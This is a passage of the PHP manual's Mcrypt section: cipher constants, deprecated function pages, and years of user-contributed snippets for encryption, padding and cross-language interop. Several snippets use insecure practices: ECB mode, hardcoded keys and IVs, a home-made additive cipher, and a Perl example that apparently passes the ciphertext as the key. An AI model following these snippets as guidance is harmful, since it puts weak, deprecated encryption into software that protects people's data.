  • MCRYPT_RIJNDAEL_128 (libmcrypt > 2.4.x only)
  • MCRYPT_RIJNDAEL_192 (libmcrypt > 2.4.x only)
  • MCRYPT_RIJNDAEL_256 (libmcrypt > 2.4.x only)
  • MCRYPT_RC2
  • MCRYPT_RC4 (libmcrypt 2.2.x only)
  • MCRYPT_RC6 (libmcrypt > 2.4.x only)
  • MCRYPT_RC6_128 (libmcrypt 2.2.x only)
  • MCRYPT_RC6_192 (libmcrypt 2.2.x only)
  • MCRYPT_RC6_256 (libmcrypt 2.2.x only)
  • MCRYPT_SAFER64
  • MCRYPT_SAFER128
  • MCRYPT_SAFERPLUS (libmcrypt > 2.4.x only)
  • MCRYPT_SERPENT(libmcrypt > 2.4.x only)
  • MCRYPT_SERPENT_128 (libmcrypt 2.2.x only)
  • MCRYPT_SERPENT_192 (libmcrypt 2.2.x only)
  • MCRYPT_SERPENT_256 (libmcrypt 2.2.x only)
  • MCRYPT_SKIPJACK (libmcrypt > 2.4.x only)
  • MCRYPT_TEAN (libmcrypt 2.2.x only)
  • MCRYPT_THREEWAY
  • MCRYPT_TRIPLEDES (libmcrypt > 2.4.x only)
  • MCRYPT_TWOFISH (for older mcrypt 2.x versions, or mcrypt > 2.4.x )
  • MCRYPT_TWOFISH128 (TWOFISHxxx are available in newer 2.x versions, but not in the 2.4.x versions)
  • MCRYPT_TWOFISH192
  • MCRYPT_TWOFISH256
  • MCRYPT_WAKE (libmcrypt > 2.4.x only)
  • MCRYPT_XTEA (libmcrypt > 2.4.x only)

You must (in CFB and OFB mode) or can (in CBC mode) supply an initialization vector (IV) to the respective cipher function. The IV must be unique and must be the same when decrypting/encrypting. With data which is stored encrypted, you can take the output of a function of the index under which the data is stored (e.g. the MD5 key of the filename). Alternatively, you can transmit the IV together with the encrypted data (see chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9) for a discussion of this topic).

User Contributed Notes

Rob 01-Jan-2014 12:28
These constants can in fact be used as input to the function mcrypt_module_open() because mcrypt.php contains defines that map these constants to the appropriate string values obtained from mcrypt_list_algorithms().
Mark 29-Oct-2012 11:13
Note, these are not the names you use in the function mcrypt_module_open to specify the algorithm.

Use mcrypt_list_algorithms to get the right names to stick in there
robin 17-Dec-2010 06:41
The MCRYPT_TWOFISH constant when defined by mcrypt version 2.4.x and later is the 256 bit version of Twofish; it uses a 1-32 byte key, a 16 byte IV, and outputs 16 byte blocks in CBC mode.


Examples

Mcrypt can be used to encrypt and decrypt using the above mentioned ciphers. If you linked against libmcrypt-2.2.x, the four important mcrypt commands (mcrypt_cfb(), mcrypt_cbc(), mcrypt_ecb(), and mcrypt_ofb()) can operate in both modes which are named MCRYPT_ENCRYPT and MCRYPT_DECRYPT, respectively.

If you linked against libmcrypt 2.4.x or 2.5.x, these functions are still available, but it is recommended that you use the advanced functions.

Example #1 Encrypt an input value with TripleDES under 2.4.x and higher in ECB mode

<?php
    $key = "this is a secret key";
    $input = "Let us meet at 9 o'clock at the secret place.";

    $td = mcrypt_module_open('tripledes', '', 'ecb', '');
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $encrypted_data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
?>
This example will give you the encrypted data as a string in $encrypted_data. For a full example see mcrypt_module_open().

User Contributed Notes

ivoras at gmail dot com 30-Aug-2010 03:36
Note that there can be standard padding in block modes:

http://www.di-mgt.com.au/cryptopad.html
jizz @ Nowhere 01-Jul-2008 09:36
Ok after having a problem using triple des with .net/visual basic with php I think this could help someone:

Visual Basic 9 with .net 2.0
Encrypting as a stream into the IO/Memory as bytes
Then they get converted back after encryption

I wanted to use base64 encoding to store the VB encryption
The problem I found was ...

I could En/Decrypt within VB and PHP just fine
But when I tried to encrypt one in VB and decrypt in PHP
I got the wrong values with the mcrypt function alone

I found that at least with VB9 that the stream encryption uses a UTF char that is the value for how many missing bytes left in the 8 bit stream.

So if you encrypt 1234 it will add chr(4) four times (the amount of missing bytes)
In php use chr otherwise most browsers/client cant read it.
Im not good at explaining things but the php code I figured out is below.

It will find the missing bytes on input as visual basic does
and replace as needed. For both encryption and decryption.

Example is triple_des and cbc with self key and iv for storing in base64

$key = "E4HD9h4DhS23DYfhHemkS3Nf";// 24 bit Key
$iv = "fYfhHeDm";// 8 bit IV
$input = "Text to encrypt";// text to encrypt
$bit_check=8;// bit amount for diff algor.

$str= encrypt($input,$key,$iv,$bit_check);
echo "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);

function encrypt($text,$key,$iv,$bit_check) {
$text_num =str_split($text,$bit_check);
$text_num = $bit_check-strlen($text_num[count($text_num)-1]);
for ($i=0;$i<$text_num; $i++) {$text = $text . chr($text_num);}
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mcrypt_generic($cipher,$text);
mcrypt_generic_deinit($cipher);
return base64_encode($decrypted);
}

function decrypt($encrypted_text,$key,$iv,$bit_check){
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,base64_decode($encrypted_text));
mcrypt_generic_deinit($cipher);
$last_char=substr($decrypted,-1);
for($i=0;$i<$bit_check-1; $i++){
    if(chr($i)==$last_char){

        $decrypted=substr($decrypted,0,strlen($decrypted)-$i);
        break;
    }
}
return $decrypted;
}


Mcrypt Functions

Table of Contents

  • mcrypt_cbc — Encrypts/decrypts data in CBC mode
  • mcrypt_cfb — Encrypts/decrypts data in CFB mode
  • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
  • mcrypt_decrypt — Decrypts crypttext with given parameters
  • mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode
  • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
  • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
  • mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm
  • mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode
  • mcrypt_enc_get_modes_name — Returns the name of the opened mode
  • mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
  • mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks
  • mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm
  • mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks
  • mcrypt_enc_self_test — Runs a self test on the opened module
  • mcrypt_encrypt — Encrypts plaintext with given parameters
  • mcrypt_generic_deinit — This function deinitializes an encryption module
  • mcrypt_generic_end — This function terminates encryption
  • mcrypt_generic_init — This function initializes all buffers needed for encryption
  • mcrypt_generic — This function encrypts data
  • mcrypt_get_block_size — Gets the block size of the specified cipher
  • mcrypt_get_cipher_name — Gets the name of the specified cipher
  • mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination
  • mcrypt_get_key_size — Gets the key size of the specified cipher
  • mcrypt_list_algorithms — Gets an array of all supported ciphers
  • mcrypt_list_modes — Gets an array of all supported modes
  • mcrypt_module_close — Closes the mcrypt module
  • mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm
  • mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode
  • mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
  • mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not
  • mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm
  • mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not
  • mcrypt_module_open — Opens the module of the algorithm and the mode to be used
  • mcrypt_module_self_test — This function runs a self test on the specified module
  • mcrypt_ofb — Encrypts/decrypts data in OFB mode
  • mdecrypt_generic — Decrypts data

User Contributed Notes

patrickdk at patrickdk dot com 06-Aug-2010 07:30
This works completely with mysql aes, even long keys.

<?php
function mysql_aes_decrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode = MCRYPT_MODE_ECB;
    $enc = MCRYPT_RIJNDAEL_128;
    $dec = @mcrypt_decrypt($enc, $key, $val, $mode, @mcrypt_create_iv( @mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM ) );
    return rtrim($dec,(( ord(substr($dec,strlen($dec)-1,1))>=0 and ord(substr($dec, strlen($dec)-1,1))<=16)? chr(ord( substr($dec,strlen($dec)-1,1))):null));
}

function mysql_aes_encrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $key, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>
p ete postma - googlemail.com 31-Oct-2009 06:42
mcrypt module initialization failed

I found this circumstance:

usemcrypt.php:
<?php
 function protect() {
 //some mcrypt/decrypt command
 }
?>

filea.php:
<?php
include_once('usemcrypt.php');

function a() {
 protect();
} ?>

fileb.php
<?php
function b() {
  include_once('usemcrypt.php');
  protect();
}
?>

filea.php and a() work fine
fileb.php and b() will report a mcrypt module initialization failed

I am assuming you can't pull that module in on the fly. If you use a file that calls mcrypt, it has to be included at the head, not in a function.
manyagain 05-Jul-2009 05:44
if you don't have mcrypt installed, try phpseclib - http://phpseclib.sourceforge.net

includes pure-php implementations of des, 3des, rc4, aes, and rijndael.  uses mcrypt if it's available and a pure-php implementation otherwise.  it also has the distinction of having the fastest existent pure-php aes implementation as per section 3.5.5. "Speed Comparisons" of the documentation.
Rafael M. Salvioni 27-Nov-2008 01:26
The follow function is a implementation of the RC4 cypher algorithm in pure PHP code.

The function is used to encrypt and decrypt data.

<?php
/**
 * Crypt/decrypt strings with RC4 stream cypher algorithm.
 *
 * @param string $key Key
 * @param string $data Encripted/pure data
 * @see   http://pt.wikipedia.org/wiki/RC4
 * @return string
 */
function rc4($key, $data)
{
    // Store the vectors "S" has calculated
    static $SC;
    // Function to swaps values of the vector "S"
    $swap = create_function('&$v1, &$v2', '
        $v1 = $v1 ^ $v2;
        $v2 = $v1 ^ $v2;
        $v1 = $v1 ^ $v2;
    ');
    $ikey = crc32($key);
    if (!isset($SC[$ikey])) {
        // Make the vector "S", basead in the key
        $S    = range(0, 255);
        $j    = 0;
        $n    = strlen($key);
        for ($i = 0; $i < 255; $i++) {
            $char  = ord($key{$i % $n});
            $j     = ($j + $S[$i] + $char) % 256;
            $swap($S[$i], $S[$j]);
        }
        $SC[$ikey] = $S;
    } else {
        $S = $SC[$ikey];
    }
    // Crypt/decrypt the data
    $n    = strlen($data);
    $data = str_split($data, 1);
    $i    = $j = 0;
    for ($m = 0; $m < $n; $m++) {
        $i        = ($i + 1) % 256;
        $j        = ($j + $S[$i]) % 256;
        $swap($S[$i], $S[$j]);
        $char     = ord($data[$m]);
        $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
        $data[$m] = chr($char);
    }
    return implode('', $data);
}
?>
artem at it-nt dot ru 29-May-2008 09:25
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
phpknights at pookmail dot com 01-Feb-2008 10:18
The Pear class Crypt/Blowfish.php will use the mcrypt module if available but the mcrypt module is not required.

Some very easy Pear and example pseudocode to protect your data by encrypting your databases with a one-way hash and blowfish symmetric encryption.
http://en.wikibooks.org/wiki/Cryptography/Database_protection

Using a one-way hash and blowfish symmetric encryption.
1. Insert a record of John Doe in an encrypted database.
2. Get the encrypted record of user John Doe and decrypt the data.

1. Insert a record of John Doe in an encrypted database.
<?php

        require_once("Crypt/Blowfish.php"); // a Pear class

        $aRecord['email']       =       "johndoe@anisp.localhost"; // The Primary key
        $aRecord['name']        =       "John Doe";
        $aRecord['creditnr']    =       "0192733652342" ;

        // crypt - one-way encryption
        $cipher_key = crypt( $aRecord['email'] , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to encrypt the data
        $aRecord['email']       = $bf->encrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->encrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->encrypt( $aRecord['creditnr'] );

        $result = sqlInsert( $aRecord ) ;
?>

2. Get the encrypted record of user John Doe and decrypt the data.
<?php

        require_once("Crypt/Blowfish.php");  // a Pear class

        $primary_key = "johndoe@anisp.localhost";

        // crypt - one-way encryption
        $cipher_key = crypt(  $primary_key , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to ecrypt the primary key for a sql select
        $select_key = $bf->encrypt(  $primary_key ) ;

        $aRecord = sqlSelectWithPKEY( $select_key );

        // crypt_blowfish symmetric encryption to decrypt the data
        $aRecord['email']       = $bf->decrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->decrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->decrypt( $aRecord['creditnr'] );
?>

Thanks for reading this.
Kevin 23-Jan-2008 06:37
Solved Problem:

when compiling php --with-mcrypt, phpinfo() says, that mcrypt ist enabled, but
"Supported ciphers none" and
"Supported modes none"

In order to get mcrypt to work in php, you have to configure and compile the libmcrypt source package with the following options:
./configure --disable-posix-threads --enable-dynamic-loading
Ivan Frederiks 28-Apr-2007 04:03
To enable mcrypt extension under Windows you need to:
1) uncomment line "extension=php_mcrypt.dll" in php.ini
2) download libmcrypt.dll from http://files.edin.dk/php/win32/mcrypt/ and put it to System32 directory (for example C:\Windows\System32).
Tested on Windows XP+Apache 1.3.37+PHP 4.4.6 (as SAPI module!!!)

P.S.
I wrote this because I got "Cannot load mcrypt extension. Please check your PHP configuration." from phpMyAdmin when I simply uncommented "extension=php_mcrypt.dll" line.
duerra_NOT_THIS_ at pushitlive dot net 20-Sep-2006 09:56
For those of you that need to use PKCS#5 padding, the mcrypt API's for PHP do not support it.  However, you can DIY using the following:

<?php

function encrypt_something($input)
{
    $size = mcrypt_get_block_size('des', 'ecb');
    $input = pkcs5_pad($input, $size);

    $key = 'YOUR SECRET KEY HERE';
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $data = base64_encode($data);
    return $data;
}

function pkcs5_pad ($text, $blocksize)
{
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}

function pkcs5_unpad($text)
{
    $pad = ord($text{strlen($text)-1});
    if ($pad > strlen($text)) return false;
    if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) return false;
    return substr($text, 0, -1 * $pad);
}
?>
rolf at winmutt dot com 10-Mar-2006 09:19
mysql AES_ENCRYPT() compatibly function for PHP :

<?php
function mysql_aes_encrypt($val,$ky) {
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>

Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl 01-Mar-2006 10:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway 17-Feb-2006 07:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:   1.9 seconds
Encrypt in OFB:   45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com 05-Feb-2006 12:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
coz AT metamule D0T com 04-Nov-2005 02:15
If you're going to encrypt data with something like this and store it in postgres.

<?php
function encrypt($string, $key){
        $result = '';
        for($i=1; $i<=strlen($string); $i++){
            $char = substr($string, $i-1, 1);
            $keychar = substr($key, ($i % strlen($key))-1, 1);
            $char = chr(ord($char)+ord($keychar));
            $result.=$char;
        }
        return $result;
    }
?>

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz 31-Oct-2005 02:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
paul dot lewis at absolutegenius dot co dot uk 13-Jul-2005 05:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
Jurgen Schwietering 23-Nov-2004 10:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
groundzero at zuavra dot net 09-Jan-2004 02:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms 03-Oct-2003 11:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voila.
steve@itemfront dot ltd dot uk 29-Sep-2003 02:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com 31-Jul-2003 02:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

<?php
chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT));
?>
scott at boothcreek dot com 28-Mar-2002 10:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl 03-Aug-2001 03:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net 10-Feb-2000 02:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

<?php
base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
?>


Encrypts/decrypts data in CBC mode

  • « Mcrypt Functions
  • mcrypt_cfb »
  • PHP Manual
  • Mcrypt Functions
  • Encrypts/decrypts data in CBC mode

mcrypt_cbc

(PHP 4, PHP 5)

mcrypt_cbc — Encrypts/decrypts data in CBC mode

Description

string mcrypt_cbc ( int $cipher , string $key , string $data , int $mode [, string $iv ] )
string mcrypt_cbc ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

Warning

This function has been DEPRECATED as of PHP 5.5.0. Relying on this function is highly discouraged.

User Contributed Notes

Bubba at hines57 dot com 22-Jul-2012 01:59
The PERL libraries have changed a little bit and getting PHP and PERL to mcrypt together can be confusing, so here is a current example;

PHP
===
<?php
$string = 'Some Secret thing I want to encrypt';
$iv = '12345678';
$passphrase = '8chrsLng';

$encryptedString = encryptString($string, $passphrase, $iv);
// Expect: 7DjnpOXG+FrUaOuc8x6vyrkk3atSiAf425ly5KpG7lOYgwouw2UATw==

function encryptString($unencryptedText, $passphrase, $iv) {
  $enc = mcrypt_encrypt(MCRYPT_BLOWFISH, $passphrase, $unencryptedText, MCRYPT_MODE_CBC, $iv);
  return base64_encode($enc);
}
?>

PERL
====
$encryptedString = '7DjnpOXG+FrUaOuc8x6vyrkk3atSiAf425ly5KpG7lOYgwouw2UATw==';
$iv = '12345678';
$passphrase = '8chrsLng';

$string = &decryptPhpEncrypted $encryptedString, $passphrase, $iv;
# Expect: Some Secret thing I want to encrypt

sub decryptPhpEncrypted() {
  my ($encryptedString, $passphrase, $iv) = @_;
  my $keysize = length($passphrase);
  use Crypt::CBC;
  $cipher = Crypt::CBC->new( {'key' => $encryptedString,
                              'cipher'=> 'Blowfish',
                              'iv' => $iv,
                              'keysize' => $keysize,
                              'regenerate_key' => 0,
                              'padding' => 'null',
                              'prepend_iv' => 0});

  return $cipher->decrypt($encryptedString);
}
dafuk at dafuk dot co dot il 25-Apr-2012 08:20
if you use blowfish and somehow when you compare strings before and after it was  (usually when it's shorter than 8 or 16 bytes) you might notice the difference, it comes out that this function does not remove padding, as a result you get a bunch of nulls at the end.

use
$decrypted = rtrim($decrypted,"\0");
to fix it
Othman 17-May-2009 06:56
The following code is to
encrypt-->encode
decode-->decrypt

<?php
$stuff="String to enc/enc/dec/dec =,=,";
$key="XiTo74dOO09N48YeUmuvbL0E";

function nl() {
    echo "<br/> \n";
}
$iv = mcrypt_create_iv (mcrypt_get_block_size (MCRYPT_TripleDES, MCRYPT_MODE_CBC), MCRYPT_DEV_RANDOM);

// Encrypting
function encrypt($string, $key) {
    $enc = "";
    global $iv;
    $enc=mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_ENCRYPT, $iv);

  return base64_encode($enc);
}

// Decrypting
function decrypt($string, $key) {
    $dec = "";
    $string = trim(base64_decode($string));
    global $iv;
    $dec = mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_DECRYPT, $iv);
  return $dec;
}

$encrypted = encrypt($stuff, $key);
$decrypted = decrypt($encrypted, $key);

echo "Encrypted is ".$encrypted . nl();
echo "Decrypted is ".$decrypted . nl();
?>

Notes on the result
-o running the script from the command line 1 time
    php script.php works correct
-o if i ran the script in a loop i.e.

#!/bin/bash
for x in `seq 100`
do
        echo $x
        php script.php >> LOG.text
        sleep 1

done
it gets slower after the 10th time
+ inconsistent output
sometimes correct some with encrypted characters at the end of the decrypted string

-o Firefox on Linux it decrypts to the original string but appends
    some encryption at the end of the decrypted sting
-o running the script on the browser from windows on Firefox,
    Google Chrome, IE7 works fine for just few times
    "refresh every few seconds"
    if refresh fast it doesn't work correctly,
    some times returns the decrypted as encrypted!
    some times returns mix of encrypted & decrypted

I thought if sharing that test for those functions might be
useful for some body


Encrypts/decrypts data in CFB mode

  • « mcrypt_cbc
  • mcrypt_create_iv »
  • PHP Manual
  • Mcrypt Functions
  • Encrypts/decrypts data in CFB mode

mcrypt_cfb

(PHP 4, PHP 5)

mcrypt_cfb — Encrypts/decrypts data in CFB mode

Description

string mcrypt_cfb ( int $cipher , string $key , string $data , int $mode , string $iv )
string mcrypt_cfb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

Warning

This function has been DEPRECATED as of PHP 5.5.0. Relying on this function is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Creates an initialization vector (IV) from a random source

  • « mcrypt_cfb
  • mcrypt_decrypt »
  • PHP Manual
  • Mcrypt Functions
  • Creates an initialization vector (IV) from a random source

mcrypt_create_iv

(PHP 4, PHP 5)

mcrypt_create_iv — Creates an initialization vector (IV) from a random source

Description

string mcrypt_create_iv ( int $size [, int $source = MCRYPT_DEV_URANDOM ] )

Creates an initialization vector (IV) from a random source.

The IV is only meant to give an alternative seed to the encryption routines. This IV does not need to be secret at all, though it can be desirable. You even can send it along with your ciphertext without losing security.

Parameters

size

The size of the IV.

source

The source of the IV. The source can be MCRYPT_RAND (system random number generator), MCRYPT_DEV_RANDOM (read data from /dev/random) and MCRYPT_DEV_URANDOM (read data from /dev/urandom). Prior to 5.3.0, MCRYPT_RAND was the only one supported on Windows.

Note that the default value of this parameter was MCRYPT_DEV_RANDOM prior to PHP 5.6.0.

Return Values

Returns the initialization vector, or FALSE on error.

Changelog

Version | Description
5.6.0 | MCRYPT_DEV_URANDOM is now the default value of source.
5.3.0 | MCRYPT_DEV_RANDOM and MCRYPT_DEV_URANDOM became available on Windows platforms.
5.3.0 | It is no longer required to call srand() first. This is now done automatically.

Examples

Example #1 mcrypt_create_iv() Example

<?php
    $size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
    $iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

See Also

  • » http://www.ciphersbyritter.com/GLOSSARY.HTM#IV
  • » http://www.quadibloc.com/crypto/co0409.htm
  • Chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9)

User Contributed Notes

Mahn 24-Aug-2014 09:50
Specify MCRYPT_RAND in the second parameter if this function randomly hangs in your requests.
Graham 16-Mar-2014 08:35
In relation to all of the crypto "advice" seen here, my suggestion is that you ignore most of it. Some of it is good, some of it is bad, but most of it skips the critical issues.

I had hoped to write out a nice long explanation, but PHP's commenting system tells me my essay is too long. Instead I will say this:

You should use CBC, with a randomly chosen IV that is unique per key, and you should transmit that IV in the clear along with your ciphertext. You should also perform an authenticity check of that entire data blob, using something like HMAC-SHA256, with another independent key.

Here's the full-text of what I was going to write: http://pastebin.com/sN6buivY

If you're interested in this stuff, or just want more information, check out the Wikipedia articles around block cipher modes, block ciphers, HMAC, etc.

